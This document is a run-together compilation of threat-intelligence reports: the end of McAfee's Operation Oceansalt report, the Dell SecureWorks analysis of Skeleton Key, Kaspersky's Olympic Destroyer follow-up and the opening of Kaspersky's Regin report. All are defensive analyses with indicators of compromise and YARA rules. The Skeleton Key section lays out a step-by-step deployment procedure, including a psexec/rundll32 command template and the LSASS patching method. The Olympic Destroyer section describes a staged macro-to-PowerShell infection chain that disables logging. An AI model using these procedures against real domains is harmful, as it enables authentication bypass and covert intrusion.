28 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x9: Reverse shell operate Operates the reverse shell established using the previous command code Contains the commands sent by the control server to the reverse shell that will be executed by cmd.exe on the infected endpoint Once the command has been executed, the output is read from cmd.exe via a pipe and sent to the control server 0XA: Reverse shell terminate Closes the reverse shell by closing handles to the pipes created for the shells inter-process communication 0XB: Connection test Tests receive and send capabilities of the implant by receiving data (0x7 bytes) from the control server and sending it back Persistence Oceansalt has no persistence capabilities to remain on the endpoint after the system reboots This lack suggests other components in the infection chain may ensure persistence and carry out other malicious activities Conclusion Based on our analysis, the McAfee Advanced Threat Research team has named this global threat Operation Oceansalt.
This operation has focused on targets in South Korea and other countries with new malware that has roots in Comment Crew activity from 2010.
Our research shows that Comment Crews malware in part lives on in different forms employed by another advanced persistent threat group operating primarily against South Korea.
This research represents how threat actors including nation-states might collaborate on their campaigns.
McAfee continues to monitor the threat landscape in Asia and around the world to track the evolution of known groups and changes to their techniques.
29 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT McAfee Coverage Generic.dxtjz RDN/Generic.grp RDN/Generic.ole RDN/Generic.grp (trojan) RDN/Trojan-FQBD RDN/Generic.
RP Indicators of Compromise MITRE ATTCK Techniques Scripting Spear phishing attachment Automated collection Command-line interface Network share discovery Process discovery File and directory discovery Data from local system Data from removable media Data from network shared drive Exfiltration over control server channel IP addresses 158.69.131.78 172.81.132.62 27.102.112.179 211.104.160.196 Hashes fc121db04067cffbed04d7403c1d222d376fa7ba 832d5e6ebd9808279ee3e59ba4b5b0e884b859a5 be4fbb5a4b32db20a914cad5701f5c7ba51571b7 1f70715e86a2fcc1437926ecfaeadc53ddce41c9 dd3fb2750da3e8fc889cd1611117b02d49cf17f7 583879cfaf735fa446be5bfcbcc9e580bf542c8c ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 d72bc671583801c3c65ac1a96bb75c6026e06a73 e5c6229825f11d5a5749d3f2fe7acbe074cba77c 9fe4bfdd258ecedb676b9de4e23b86b1695c4e1e 281a13ecb674de42f2e8fdaea5e6f46a5436c685 42192bb852d696d55da25b9178536de6365f0e68 12a9faa96ba1be8a73e73be72ef1072096d964fb 0ae167204c841bdfd3600dddf2c9c185b17ac6d4 About McAfee McAfee is the device-to-cloud cybersecurity company.
Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place.
By building solutions that work with other companies products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection, and correction of threats happen simultaneously and collaboratively.
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Santa Clara, CA 95054 888.847.8766 www.mcafee.com 30 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group About McAfee Labs and Advanced Threat Research McAfee Labs, led by McAfee Advanced Threat Research, is one of the worlds leading sources for threat research, threat intelligence, and cybersecurity thought leadership.
With data from millions of sensors across key threats vectorsfile, web, message, and network McAfee Labs and McAfee Advanced Threat Research deliver real-time threat intelligence, critical analysis, and expert thinking to improve protection and reduce risks.
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Skeleton Key Malware Analysis Author: Dell SecureWorks Counter Threat Unit Threat Intelligence Date: 12 January 2015 URL: http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware- analysis/ Summary Dell SecureWorks Counter Threat Unit(TM) (CTU) researchers discovered malware that bypasses authentication on Active Directory (AD) systems that implement single-factor (password only) authentication.
Threat actors can use a password of their choosing to authenticate as any user.
This malware was given the name Skeleton Key.
CTU researchers discovered Skeleton Key on a client network that used single-factor authentication for access to webmail and VPN, giving the threat actor unfettered access to remote access services.
Skeleton Key is deployed as an in-memory patch on a victims AD domain controllers to allow the threat actor to authenticate as any user, while legitimate users can continue to authenticate as normal.
Skeleton Keys authentication bypass also allows threat actors with physical access to login and unlock systems that authenticate users against the compromised AD domain controllers.
The only known Skeleton Key samples as of this publication lack persistence and must be redeployed when a domain controller is restarted.
CTU researchers suspect that threat actors can only identify a restart based on their inability to successfully authenticate using the bypass, as no other malware was detected on the domain controllers.
Between eight hours and eight days of a restart, threat actors used other remote access malware already deployed on the victims network to redeploy Skeleton Key on the domain controllers.
Skeleton Key requires domain administrator credentials for deployment.
CTU researchers have observed threat actors deploying Skeleton Key using credentials stolen from critical servers, administrators workstations, and the targeted domain controllers.
Analysis CTU researchers initially observed a Skeleton Key sample named ole64.dll on a compromised network (see Table 1).
Attribute Value or description Filename ole64.dll MD5 bf45086e6334f647fda33576e2a05826 http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/ SHA1 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 Compile time 2014-02-19 09:31:29 Deployed As required (typically downloaded using malware and then deleted after use) File size 49664 bytes Sections .text, .rdata, .data, .pdata, .rsrc, .reloc Exports ii (installs the patch) uu (uninstalls the patch) DllEntryPoint (default DLL entry point) Table 1.
Skeleton Key sample ole64.dll.
When investigating ole64.dll, CTU researchers discovered an older variant named msuta64.dll on a jump host in the victims network (see Table 2).
The jump host is any system previously compromised by the threat actors remote access malware.
This variant includes additional debug statements, which allow the Skeleton Key developer to observe the memory addresses involved in the patching process.
Attribute Value or description Filename msuta64.dll MD5 66da7ed621149975f6e643b4f9886cfd SHA1 ad61e8daeeba43e442514b177a1b41ad4b7c6727 Compile time 2012-09-20 08:07:12 Deployed 2013-09-29 07:58:16 File size 50688 bytes Sections .text, .rdata, .data, .pdata, .rsrc, .reloc Exports i (installs the patch) u (uninstalls the patch) DllEntryPoint (default DLL entry point) Table 2.
Skeleton Key sample msuta64.dll.
The threat actors used the following process to deploy Skeleton Key as a 64-bit DLL file: 1.
Upload the Skeleton Key DLL file to a staging directory on a jump host in the victims network.
CTU researchers have observed three filenames associated with the Skeleton Key DLL file: ole64.dll, ole.dll, and msuta64.dll.
Windows systems include a legitimate ole32.dll file, but it is not related to this malware.
2.
Attempt to access the administrative shares on the domain controllers using a list of stolen domain administrator credentials.
3.
If the stolen credentials are no longer valid, use password theft tools to extract clear text domain administrator passwords from one of the following locations, which suggest a familiarity with the victims environment: memory of another accessible server on the victims network domain administrators workstations targeted domain controllers 4.
Use valid domain administrator credentials to copy the Skeleton Key DLL to C:\WINDOWS\system32\ on the target domain controllers.
5.
Use the PsExec utility to run the Skeleton Key DLL remotely on the target domain controllers using the rundll32 command.
The threat actors chosen password is formatted as an NTLM password hash rather than provided in clear text.
After Skeleton Key is deployed, the threat actor can authenticate as any user using the threat actors configured NTLM password hash: psexec -accepteula \\TARGET-DC rundll32 DLL filename ii NTLM password hash 6.
Delete the Skeleton Key DLL file from C:\WINDOWS\system32\ on the targeted domain controllers.
7.
Delete the Skeleton Key DLL file from the staging directory on the jump host.
8.
Test for successful Skeleton Key deployment using net use commands with an AD account and the password that corresponds to the configured NTLM hash.
CTU researchers have observed a pattern for the injected password that suggests that the threat group has deployed Skeleton Key in multiple organizations.
The use of PsExec can be detected within a Windows environment by alerting on the Windows events generated by the utility.
The following Event IDs observed on the targeted domain controllers record the PsExec tool installing its service, starting the service, and stopping the service.
These events are created every time PsExec is used, so additional analysis of the events is required to determine if they are malicious or legitimate: Unexpected PSEXESVC service install events (event ID 7045) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: A service was installed in the system.
Service File Name: SystemRoot\PSEXESVC.exe Unexpected PSEXESVC service start / stop events (event ID 7036) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: The PSEXESVC service entered the running state.
The PSEXESVC service entered the stopped state.
When run, Skeleton Key performs the following tasks: http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx 1.
Check for one of the following compatible 64-bit Windows versions.
The malware is not compatible with 32-bit Windows versions or with Windows Server versions beginning with Windows Server 2012 (6.2).
6.1 (Windows 2008 R2) 6.0 (Windows Server 2008) 5.2 (Windows 2003 R2) 2.
Use the SeDebugPrivilege function to acquire the necessary administrator privileges to write to the Local Security Authority Subsystem Service (LSASS) process.
This process controls security functions for the AD domain, including user account authentication.
3.
Enumerate available processes to acquire a handle to the LSASS process.
4.
Obtain addresses for the authentication-related functions that will be patched: CDLocateCSystem  located in cryptdll.dll SamIRetrieveMultiplePrimaryCredentials  located in samsrv.dll SamIRetrievePrimaryCredentials  located in samsrv.dll 5.
Perform OS-specific adjustments using the global variable set during the compatibility check in Step 1.
6.
Use the OpenProcess function to acquire a handle to the LSASS process.
7.
Reserve and allocate the required memory space to edit and patch the LSASS processs memory.
8.
Patch relevant functions based on the operating system: CDLocateCSystem (all compatible Windows versions) SamIRetrieveMultiplePrimaryCredentials (only Windows 2008 R2 (6.1)) SamIRetrievePrimaryCredentials (all compatible Windows versions other than Windows 2008 R2 (6.1)) Skeleton Key performs the following steps to patch each function: 1.
Call the VirtualProtectEx function to change the memory protection to allow writing to the required memory allocations (PAGE_EXECUTE_READWRITE, 0x40).
This step allows the functions code to be updated in memory.
2.
Call the WriteProcessMemory function to change the address of the target function to point to the patched code.
This change causes calls to the target function to use the patch instead.
3.
Restore the original memory protection by calling VirtualProtectEx with the original memory protection flags.
This step is likely to avoid suspicious writable and executable memory allocations.
After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user.
Legitimate users can still log in using their own passwords.
This authentication bypass applies to all services that use single-factor AD authentication, such as web mail and VPNs, and it also allows a threat actor with physical access to a compromised system to unlock the computer by typing the injected password on the keyboard.
Possible link to domain replication issues The Skeleton Key malware does not transmit network traffic, making network-based detection ineffective.
However, the malware has been implicated in domain replication issues that may indicate an infection.
Shortly after each deployment of the Skeleton Key malware observed by CTU researchers, domain controllers experienced replication issues that could not be explained or addressed by Microsoft support and eventually required a reboot to resolve.
These reboots removed Skeleton Keys authentication bypass because the malware does not have a persistence mechanism.
Figure 1 shows the timeline of these reboots and the threat actors subsequent password theft, lateral expansion, and Skeleton Key deployment.
Redeployments typically occurred within several hours to several days of the reboot.
Figure 1.
Relationships of deployments and reboots observed by CTU researchers, April - July 2014.
(
Source: Dell SecureWorks) Countermeasures The Skeleton Key malware bypasses authentication and does not generate network traffic.
As a result, network-based intrusion detection and intrusion prevention systems (IDS/IPS) will not detect this threat.
However, CTU researchers wrote the YARA signatures in Appendix A to detect a Skeleton Key DLL and the code it injects into the LSASS processs memory.
Threat indicators The threat indicators in Table 3 can be used to detect activity related to the Skeleton Key malware.
Indicator Type Context 66da7ed621149975f6e643b4f9886cfd MD5 hash Skeleton Key patch msuta64.dll ad61e8daeeba43e442514b177a1b41ad4b7c6727 SHA1 hash Skeleton Key patch msuta64.dll bf45086e6334f647fda33576e2a05826 MD5 hash Skeleton Key patch ole64.dll 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 SHA1 hash Skeleton Key patch ole64.dll https://secureworkspublic.https.internapcdn.net/SecureWorksPublic/images/2014/threats/skeleton-key/lrg.intelligence.threats.skeleton.key.png Table 3.
Indicators for the Skeleton Key malware.
Conclusion The CTU research team recommends that organizations implement the following protections to defend against the Skeleton Key malware: Multi-factor authentication for all remote access solutions, including VPNs and remote email, prevents threat actors from bypassing single-factor authentication or authenticating using stolen static credentials.
A process creation audit trail on workstations and servers, including AD domain controllers, may detect Skeleton Key deployments.
Specifically, organizations should look for the following artifacts: Unexpected PsExec.exe processes and the use of the PsExec -accepteula command line argument Unexpected rundll32.exe processes Process arguments that resemble NTLM hashes (32 characters long, containing digits 0-9 and characters A-F) Monitoring Windows Service Control Manager events on AD domain controllers may reveal unexpected service installation events (event ID 7045) and service start/stop events (event ID 7036) for PsExecs PSEXESVC service.
Appendix A  YARA signatures The following YARA signatures detect the presence of Skeleton Key on a system, by scanning either a suspicious file or a memory dump of Active Directory domain controllers suspected to contain Skeleton Key.
rule skeleton_key_patcher  strings: target_process  lsass.exe wide dll1  cryptdll.dll dll2  samsrv.dll name  HookDC.dll patched1  CDLocateCSystem patched2  SamIRetrievePrimaryCredentials patched3  SamIRetrieveMultiplePrimaryCredentials condition: all of them  rule skeleton_key_injected_code  strings: injected   33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 patch_CDLocateCSystem   48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ??
??
?? ?
?
48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 patch_SamIRetrievePrimaryCredential   48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ??
??
?? ?
?
4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 patch_SamIRetrieveMultiplePrimaryCredential    48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ??
??
?? ?
?
44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 condition: any of them
NG[0\E.t
By GReAT Olympic Destroyer is still alive securelist.com/olympic-destroyer-is-still-alive/86169/ In March 2018 we published our research on Olympic Destroyer, an advanced threat actor that hit organizers, suppliers and partners of the Winter Olympic Games 2018 held in Pyeongchang, South Korea.
Olympic Destroyer was a cyber-sabotage attack based on the spread of a destructive network worm.
The sabotage stage was preceded by reconnaissance and infiltration into target networks to select the best launchpad for the self-replicating and self- modifying destructive malware.
We have previously emphasized that the story of Olympic Destroyer is different to that of other threat actors because the whole attack was a masterful operation in deception.
Despite that, the attackers made serious mistakes, which helped us to spot and prove the forgery of rare attribution artefacts.
The attackers behind Olympic Destroyer forged automatically generated signatures, known as Rich Header, to make it look like the malware was produced by Lazarus APT, an actor widely believed to be associated with North Korea.
If this is new to the reader, we recommend a separate blog dedicated to the analysis of this forgery.
The deceptive behavior of Olympic Destroyer, and its excessive use of various false flags, which tricked many researchers in the infosecurity industry, got our attention.
Based on malware similarity, the Olympic Destroyer malware was linked by other researchers to three Chinese speaking APT actors and the allegedly North Korean Lazarus APT some code had hints of the EternalRomance exploit, while other code was similar to the Netya (Expetr/NotPetya) and BadRabbit targeted ransomware.
Kaspersky Lab managed to find lateral movement tools and initial infection backdoors, and has followed the infrastructure used to control Olympic Destroyer in one of its South Korean victims.
Some of the TTPs and operational security used by Olympic Destroyer bear a certain resemblance to Sofacy APT group activity.
When it comes to false flags, mimicking TTPs is much harder than tampering with technical artefacts.
It implies a deep knowledge of how the actor being mimicked operates as well as operational adaptation to these new TTPs.
However, it is important to remember that Olympic Destroyer can be considered a master in the use of false flags: for now we assess that connection with low to moderate confidence.
We decided to keep tracking the group and set our virtual nets to catch Olympic Destroyer again if it showed up with a similar arsenal.
To our surprise it has recently resurfaced with new activity.
In May-June 2018 we discovered new spear-phishing documents that closely resembled weaponized documents used by Olympic Destroyer in the past.
This and other TTPs led us to believe that we were looking at the same actor again.
However, this time the attacker has new targets.
According to our telemetry and the characteristics of the analyzed spear-phishing documents, we believe the attackers behind Olympic Destroyer are now targeting financial 1/14 https://securelist.com/olympic-destroyer-is-still-alive/86169/ https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/ https://securelist.com/the-devils-in-the-rich-header/84348/ https://securelist.com/schroedingers-petya/78870/ https://securelist.com/bad-rabbit-ransomware/82851/ https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071536/olympic-destroyer-is-still-alive_01.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071540/olympic-destroyer-is-still-alive_02.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071545/olympic-destroyer-is-still-alive_03.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/20140034/olympic-destroyer-is-still-alive_sc-1.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/20140038/olympic-destroyer-is-still-alive_sc-2.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071554/olympic-destroyer-is-still-alive_04.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/20140043/olympic-destroyer-is-still-alive_sc-3.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/20140046/olympic-destroyer-is-still-alive_sc-4.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071558/olympic-destroyer-is-still-alive_05.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19161345/olympic-destroyer-is-still-alive_06-1.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19094736/OlympicDestroyer_still_alive_infographic.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071617/olympic-destroyer-is-still-alive_08.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071624/olympic-destroyer-is-still-alive_09.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071631/olympic-destroyer-is-still-alive_10.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071638/olympic-destroyer-is-still-alive_11.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071644/olympic-destroyer-is-still-alive_12.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071651/olympic-destroyer-is-still-alive_13.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/06/19071657/olympic-destroyer-is-still-alive_14.png organizations in Russia, and biological and chemical threat prevention laboratories in Europe and Ukraine.
They continue to use a non-binary executable infection vector and obfuscated scripts to evade detection.
Simplified infection procedure Infection Analysis In reality the infection procedure is a bit more complex and relies on multiple different technologies, mixing VBA code, Powershell, MS HTA, with JScript inside and more Powershell.
Lets take a look at this more closely to let incident responders and security researchers recognize such an attack at any time in the future.
One of the recent documents that we discovered had the following properties: MD5: 0e7b32d23fbd6d62a593c234bafa2311 SHA1: ff59cb2b4a198d1e6438e020bb11602bd7d2510d File Type: Microsoft Office Word Last saved date: 2018-05-14 15:32:17 (GMT) Known file name: Spiez CONVERGENCE.doc The embedded macro is heavily obfuscated.
It has a randomly-generated variable and function name.
Obfuscated VBA macro 2/14 Its purpose is to execute a Powershell command.
This VBA code was obfuscated with the same technique used in the original Olympic Destroyer spear-phishing campaign.
It starts a new obfuscated Powershell scriptlet via the command line.
The obfuscator is using array-based rearranging to mutate original code, and protects all commands and strings such as the command and control (C2) server address.
There is one known obfuscation tool used to produce such an effect: Invoke-Obfuscation.
Obfuscated commandline Powershell scriptlet This script disables Powershell script logging to avoid leaving traces: It has an inline implementation of the RC4 routine in Powershell, which is used to decrypt additional payload downloaded from Microsoft OneDrive.
The decryption relies on a hardcoded 32-byte ASCII hexadecimal alphabet key.
This is a familiar technique used in other Olympic Destroyer spear-phishing documents in the past and in Powershell backdoors found in the infrastructure of Olympic Destroyers victims located in Pyeongchang.
3/14 [/caption] The second stage payload downloaded is an HTA file that also executes a Powershell script.
Downloaded access.log.txt This file has a similar structure to the Powershell script executed by the macro in spear- phishing attachments.
After deobfuscating it, we can see that this script also disables Powershell logging and downloads the next stage payload from the same server address.
It also uses RC4 with a pre-defined key: 4/14 The final payload is the Powershell Empire agent.
Below we partially provide the http stager scriptlet for the downloaded Empire agent.
Powershell Empire is a post-exploitation free and open-source framework written in Python and Powershell that allows fileless control of the compromised hosts, has modular architecture and relies on encrypted communication.
This framework is widely used by penetration-testing companies in legitimate security tests for lateral movement and information gathering.
Infrastructure We believe that the attackers used compromised legitimate web servers for hosting and controlling malware.
Based on our analysis, the URI path of discovered C2 servers included the following paths: /components/com_tags/views /components/com_tags/views/admin /components/com_tags/controllers /components/com_finder/helpers /components/com_finder/views/ /components/com_j2xml/ /components/com_contact/controllers/ 5/14 These are known directory structures used by a popular open source content management system, Joomla: Joomla components path on Github Unfortunately we dont know what exact vulnerability was exploited in the Joomla CMS.
What is known is that one of the payload hosting servers used Joomla v1.7.3, which is an extremely old version of this software, released in November 2011.
A compromised server using Joomla Victims and Targets Based on several target profiles and limited victim reports, we believe that the recent operation by Olympic Destroyer targets Russia, Ukraine and several other European countries.
According to our telemetry, several victims are entities from the financial sector in Russia.
In addition, almost all the samples we found were uploaded to a multi-scanner service from European countries such as the Netherlands, Germany and France, as well as from Ukraine and Russia.
6/14 https://github.com/joomla/joomla-cms Location of targets in recent Olympic Destroyer attacks Since our visibility is limited, we can only speculate about the potential targets based on the profiles suggested by the content of selected decoy documents, email subjects or even file names picked by the attackers.
One such decoy document grabbed our attention.
It referred to Spiez Convergence, a bio- chemical threat research conference held in Switzerland, organized by SPIEZ LABORATORY, which not long ago was involved in the Salisbury attack investigation.
7/14 https://www.labor-spiez.ch/en/lab/ https://www.theguardian.com/uk-news/2018/apr/15/salisbury-attack-russia-claims-chemical-weapons-watchdog-manipulated-findings Decoy document using Spiez Convergence topic Another decoy document observed in the attacks (Investigation_file.doc) references the nerve agent used to poison Sergey Skripal and his daughter in Salisbury: 8/14 Some other spear-phishing documents include words in the Russian and German language in their names: 9bc365a16c63f25dfddcbe11da042974 Korporativ.doc da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc 9/14 One of the documents included a lure image with perfect Russian language in it.
A message in Russian encouraging the user to enable macro (54b06b05b6b92a8f2ff02fdf47baad0e) One of the most recent weaponized documents was uploaded to a malware scanning service from Ukraine in a file named nakaz.zip, containing nakaz.doc (translated as order.doc from Ukrainian).
Another lure message to encourage the user to enable macro According to metadata, the document was edited on June 14th.
The Cyrillic messages inside this and previous documents are in perfect Russian, suggesting that it was probably prepared with the help of a native speaker and not automated translation software.
Once the user enables macro, a decoy document is displayed, taken very recently from a Ukrainian state organization (the date inside indicates 11 June 2018).
The text of the document is identical to the one on the official website of the Ukrainian Ministry of Health.
10/14 http://moz.gov.ua/article/ministry-mandates/nakaz-moz-ukraini-vid-11062018--1103-pro-vnesennja-zmin-do-rozpodilu-likarskih-zasobiv-dlja-hvorih-u-do--ta-pisljaoperacijnij-period-z-transplantacii-zakuplenih-za-koshti-derzhavnogo-bjudzhetu-ukraini-na-2016-rik Decoy document inside nakaz.doc Further analysis of other related files suggest that the target of this document is working in the biological and epizootic threat prevention field.
Attribution Although not comprehensive, the following findings can serve as a hint to those looking for a better connection between this campaign and previous Olympic Destroyer activity.
More information on overlaps and reliable tracking of Olympic Destroyer attacks is available to subscribers of Kaspersky Intelligence Reporting Services (see below).
11/14 Similar obfuscated macro structure The documents above show apparent structural similarity as if they were produced by the same tool and obfuscator.
The highlighted function name in the new wave of attacks isnt in fact new.
While being uncommon, a function named MultiPage1_Layout was also found in the Olympic Destroyer spear phishing document (MD5: 5ba7ec869c7157efc1e52f5157705867).
Same MultiPage1_Layout function name used in older campaign Conclusions Despite initial expectations for it to stay low or even disappear, Olympic Destroyer has resurfaced with new attacks in Europe, Russia and Ukraine.
In late 2017, a similar reconnaissance stage preceded a larger cyber-sabotage stage meant to destroy and paralyze infrastructure of the Winter Olympic Games as well as related supply chains, partners and 12/14 even venues at the event location.
Its possible that in this case we have observed a reconnaissance stage that will be followed by a wave of destructive attacks with new motives.
That is why it is important for all bio-chemical threat prevention and research companies and organizations in Europe to strengthen their security and run unscheduled security audits.
The variety of financial and non-financial targets could indicate that the same malware was used by several groups with different interests  i.e.
a group primarily interested in financial gain through cybertheft and another group or groups looking for espionage targets.
This could also be a result of cyberattack outsourcing, which is not uncommon among nation state actors.
On the other hand, the financial targets might be another false flag operation by an actor who has already excelled at this during the Pyeongchang Olympics to redirect researchers attention.
Certain conclusions could be made based on motives and the selection of targets in this campaign.
However, it is easy to make a mistake when trying to answer the question of who is behind this campaign with only the fragments of the picture that are visible to researchers.
The appearance, at the start of this year, of Olympic Destroyer with its sophisticated deception efforts, changed the attribution game forever.
We believe that it is no longer possible to draw conclusions based on few attribution vectors discovered during regular investigation.
The resistance to and deterrence of threats such as Olympic Destroyer should be based on cooperation between the private sector and governments across national borders.
Unfortunately, the current geopolitical situation in the world only boosts the global segmentation of the internet and introduces many obstacles for researchers and investigators.
This will encourage APT attackers to continue marching into the protected networks of foreign governments and commercial companies.
The best thing we can do as researchers is to keep tracking threats like this.
We will keep monitoring Olympic Destroyer and report on new discovered activities of this group.
More details about Olympic Destroyer and related activity are available to subscribers of Kaspersky Intelligence Reporting services.
Contact: intelreportskaspersky.com Indicators Of Compromise File Hashes 9bc365a16c63f25dfddcbe11da042974 Korporativ .doc da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc 6ccd8133f250d4babefbd66b898739b9 corporativ_2018.doc abe771f280cdea6e7eaf19a26b1a9488 Scan-2018-03-13.doc.bin b60da65b8d3627a89481efb23d59713a Corporativ_2018.doc b94bdb63f0703d32c20f4b2e5500dbbe bb5e8733a940fedfb1ef6b0e0ec3635c recommandation.doc 97ddc336d7d92b7db17d098ec2ee6092 recommandation.doc 1d0cf431e623b21aeae8f2b8414d2a73 Investigation_file.doc 13/14 mailto:intelreportskaspersky.com 0e7b32d23fbd6d62a593c234bafa2311 Spiez CONVERGENCE.doc e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc 0c6ddc3a722b865cc2d1185e27cef9b8 54b06b05b6b92a8f2ff02fdf47baad0e 4247901eca6d87f5f3af7df8249ea825 nakaz.doc Domains and IPs 79.142.76[.
]40:80/news.php 79.142.76[.
]40:8989/login/process.php 79.142.76[.
]40:8989/admin/get.php 159.148.186[.
]116:80/admin/get.php 159.148.186[.
]116:80/login/process.php 159.148.186[.
]116:80/news.php ..edu[.
]br/components/com_finder/helpers/access.log ..edu[.
]br/components/com_finder/views/default.php narpaninew.linuxuatwebspiders[.
]com/components/com_j2xml/error.log narpaninew.linuxuatwebspiders[.
]com/components/com_contact/controllers/main.php mysent[.
]org/access.log.txt mysent[.
]org/modules/admin.php 5.133.12[.
]224:333/admin/get.php 14/14 Olympic Destroyer is still alive Infection Analysis Infrastructure Victims and Targets Attribution Conclusions Indicators Of Compromise File Hashes Domains and IPs
THE REGIN PLATFORM NATION-STATE OWNERSHIP OF GSM NETWORKS Kaspersky Lab Report Version 1.0 24 November 2014 2 Contents Introduction, history ..................................................................................................................................................... 3 Initial compromise and lateral movement .................................................................................................................. 3 The Regin platform ....................................................................................................................................................... 4 Stage 1  32/64 bit ............................................................................................................................................... 4 Stage 2  loader  32-bit ...................................................................................................................................... 7 Stage 2  loader  64-bit ...................................................................................................................................... 8 Stage 3  32-bit  kernel mode manager VMEM.sys ....................................................................................... 8 Stage 3  64-bit ...................................................................................................................................................... 9 Stage 4 (32-bit) / 3 (64-bit)  dispatcher module, disp.dll ................................................................................ 9 32-bit ................................................................................................................................................................. 9 64-bit ................................................................................................................................................................. 9 Stage 4  Virtual File Systems (32/64-bit) .........................................................................................................10 Unusual modules and artifacts .................................................................................................................................16 Artifacts .................................................................................................................................................................16 GSM targeting .......................................................................................................................................................18 Communication and CC...........................................................................................................................................20 Victim statistics  .........................................................................................................................................................22 Attribution ...................................................................................................................................................................23 Conclusions ................................................................................................................................................................23 Technical appendix and indicators of compromise ..................................................................................................24 Yara rules ...............................................................................................................................................................24 MD5s .....................................................................................................................................................................25 Registry branches used to store malware stages 2 and 3 ............................................................................26 CC IPs ..................................................................................................................................................................26 VFS RC5 decryption algorithm .............................................................................................................................27 TLP: GREEN Contact: intelreportskaspersky.com mailto:intelreports40kaspersky.com?subject 3 Introduction, history In the spring of 2012, following a Kaspersky Lab presentation on the unusual facts surrounding the Duqu malware (http://www.kaspersky.com/about/press/major_malware_outbreaks/duqu), a security researcher contacted us and mentioned that Duqu reminded him of another high-end malware incident.
Although he couldnt share a sample, the researcher mentioned Regin, a type of malware attack that is now dreaded bysecurity administrators in many government agencies around the world.
For the past three years we have been tracking this most elusive malware all around the world.
From time totime samples would appear on various multi-scanner services, but they were all unrelated to each other, cryptic in functionality, and lacking in context.
It is unknown exactly when the first samples of Regin appeared in the wild.
Some of them have timestamps dating back to 2003.
The victims of Regin fall into the following categories: Telecom operators Government institutions Multinational political bodies Financial institutions Research institutions Individuals involved in advanced mathematical/cryptographic research So far, weve observed two main objectives of the attackers: Intelligence gathering Facilitating other types of attacks While in most cases the attackers were focused on extracting sensitive information such as emails and other elec- tronic documents, we have observed cases where the attackers compromised telecom operators to enable the launch of additional sophisticated attacks.
This is discussed in detail in the GSM attacks section, below.
Perhaps one of the most well-known victims of Regin was Jean Jacques Quisquater (https://en.wikipedia.org/ wiki/Jean-Jacques_Quisquater), a well-known Belgian cryptographer.
In February 2014, Quisquater announced he was the victim of a sophisticated cyber-intrusion incident.
We were able to obtain samples from the Quisquater case and confirm they belong to the Regin platform.
Another victim of Regin was a computer we call the Magnet of Threats.
The computer belongs to a certain research institution and, besides Regin, it has been attacked by Animal Farm, Itaduke, Mask/Careto, Turla, andsome other advanced threats that do not have public names, all co-existing happily on the same computer atsome point.
